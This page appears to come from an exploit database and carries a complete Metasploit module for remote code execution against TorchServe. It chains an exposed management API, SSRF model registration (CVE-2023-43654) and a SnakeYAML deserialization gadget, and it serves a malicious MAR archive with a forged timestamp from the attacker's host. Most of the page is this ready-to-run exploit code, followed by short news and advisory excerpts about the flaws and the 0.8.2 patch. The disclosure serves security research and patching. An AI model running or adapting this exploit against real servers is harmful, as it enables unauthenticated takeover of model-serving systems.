Headline
PyTorch Model Server Registration / Deserialization Remote Code Execution
The PyTorch model server contains multiple vulnerabilities that can be chained together to permit an unauthenticated remote attacker arbitrary Java code execution. The first vulnerability is that the management interface is bound to all IP addresses and not just the loop back interface as the documentation suggests. The second vulnerability (CVE-2023-43654) allows attackers with access to the management interface to register MAR model files from arbitrary servers. The third vulnerability is that when an MAR file is loaded, it can contain a YAML configuration file that when deserialized by snakeyaml, can lead to loading an arbitrary Java class.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'rex/zip'class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Java include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Java::HTTP::ClassLoader def initialize(_info = {}) super( 'Name' => 'PyTorch Model Server Registration and Deserialization RCE', 'Description' => %q{ The PyTorch model server contains multiple vulnerabilities that can be chained together to permit an unauthenticated remote attacker arbitrary Java code execution. The first vulnerability is that the management interface is bound to all IP addresses and not just the loop back interface as the documentation suggests. The second vulnerability (CVE-2023-43654) allows attackers with access to the management interface to register MAR model files from arbitrary servers. The third vulnerability is that when an MAR file is loaded, it can contain a YAML configuration file that when deserialized by snakeyaml, can lead to loading an arbitrary Java class. }, 'Author' => [ 'Idan Levcovich', # vulnerability discovery and research 'Guy Kaplan', # vulnerability discovery and research 'Gal Elbaz', # vulnerability discovery and research 'Swapneil Kumar Dash', # snakeyaml deserialization research 'Spencer McIntyre' # metasploit module ], 'References' => [ [ 'URL', 'https://www.oligo.security/blog/shelltorch-torchserve-ssrf-vulnerability-cve-2023-43654' ], [ 'CVE', '2023-43654' ], # model registration SSRF [ 'URL', 'https://github.com/pytorch/serve/security/advisories/GHSA-8fxr-qfr9-p34w' ], [ 'CVE', '2022-1471' ], # snakeyaml deserialization RCE [ 'URL', 'https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2' ], [ 'URL', 'https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in' ], [ 'URL', 'https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858' ] ], 'DisclosureDate' => '2023-10-03', 'License' => MSF_LICENSE, 'DefaultOptions' => { 'RPORT' => 8081 }, 'Targets' => [ [ 'Automatic', { 'Platform' => 'java', 'Arch' => [ARCH_JAVA] } ], ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) end def check res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'api-description')) return Exploit::CheckCode::Unknown unless res return Exploit::CheckCode::Safe unless res.code == 200 unless res.get_json_document.dig('info', 'title') == 'TorchServe APIs' return Exploit::CheckCode::Safe('The TorchServe API was not detected on the target.') end version = res.get_json_document.dig('info', 'version') return Exploit::CheckCode::Detected unless version.present? unless Rex::Version.new(version) < Rex::Version.new('8.0.2') return Exploit::CheckCode::Safe("Version #{version} is patched.") end Exploit::CheckCode::Appears("Version #{version} is vulnerable.") end def class_name 'MyScriptEngineFactory' end def constructor_class ::File.binread(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-1471', "#{class_name}.class")) end def on_request_uri(cli, request) if request.relative_resource.end_with?("#{@model_name}.mar") print_good('Sending model archive') send_response(cli, generate_mar, { 'Content-Type' => 'application/octet-stream' }) return end if request.relative_resource.end_with?('services/javax.script.ScriptEngineFactory') vprint_good('Sending ScriptEngineFactory class name') send_response(cli, class_name, { 'Content-Type' => 'application/octet-string' }) return end super(cli, request) end def generate_mar config_file = rand_text_alphanumeric(8..15) + '.yml' serialized_file = rand_text_alphanumeric(8..15) + '.pt' mri = Rex::Zip::Archive.new mri.add_file(serialized_file, '') # an empty data file is sufficient for exploitation mri.add_file('MAR-INF/MANIFEST.json', JSON.generate({ 'createdOn' => (Time.now - Random.rand(600..1199)).strftime('%d/%m/%Y %H:%M:%S'), # forge a timestamp of 10-20 minutes ago 'runtime' => 'python', 'model' => { 'modelName' => @model_name, 'serializedFile' => serialized_file, 'handler' => %w[image_classifier object_detector text_classifier image_segmenter].sample, 'modelVersion' => '1.0', 'configFile' => config_file }, 'archiverVersion' => '0.8.2' })) mri.add_file(config_file, %( !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["#{get_uri}/"]]]] )) mri.pack end def exploit start_service @model_name = rand_text_alphanumeric(8..15) print_status('Registering the model archive...') # see: https://pytorch.org/serve/management_api.html#register-a-model send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'models'), 'vars_get' => { # *must* be vars_get and not vars_post! 'url' => "#{get_uri}#{@model_name}.mar" } }) handler end def cleanup super return unless @model_name # see: https://pytorch.org/serve/management_api.html#unregister-a-model send_request_cgi({ 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'models', @model_name, '1.0') }) endendRelated news
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Cybersecurity researchers have disclosed multiple critical security flaws in the TorchServe tool for serving and scaling PyTorch models that could be chained to achieve remote code execution on affected systems. Israel-based runtime application security company Oligo, which made the discovery, has coined the vulnerabilities ShellTorch. "These vulnerabilities [...] can lead to a full chain Remote
## Impact **Remote Server-Side Request Forgery (SSRF)** **Issue**: TorchServe default configuration lacks proper input validation, enabling third parties to invoke remote HTTP download requests and write files to the disk. This issue could be taken advantage of to compromise the integrity of the system and sensitive data. This issue is present in versions `0.1.0` to `0.8.1`. **Mitigation**: The user is able to load the model of their choice from any URL that they would like to use. The user of TorchServe is responsible for configuring both the [allowed_urls](https://github.com/pytorch/serve/blob/b3eced56b4d9d5d3b8597aa506a0bcf954d291bc/docs/configuration.md?plain=1#L296) and specifying the model URL to be used. A pull request to warn the user when the default value for `allowed_urls` is used has been merged - https://github.com/pytorch/serve/pull/2534. TorchServe release `0.8.2` includes this change. ## Patches ## TorchServe release 0.8.2 includes fixes to address the previou...
TorchServe is a tool for serving and scaling PyTorch models in production. TorchServe default configuration lacks proper input validation, enabling third parties to invoke remote HTTP download requests and write files to the disk. This issue could be taken advantage of to compromise the integrity of the system and sensitive data. This issue is present in versions 0.1.0 to 0.8.1. A user is able to load the model of their choice from any URL that they would like to use. The user of TorchServe is responsible for configuring both the allowed_urls and specifying the model URL to be used. A pull request to warn the user when the default value for allowed_urls is used has been merged in PR #2534. TorchServe release 0.8.2 includes this change. Users are advised to upgrade. There are no known workarounds for this issue.
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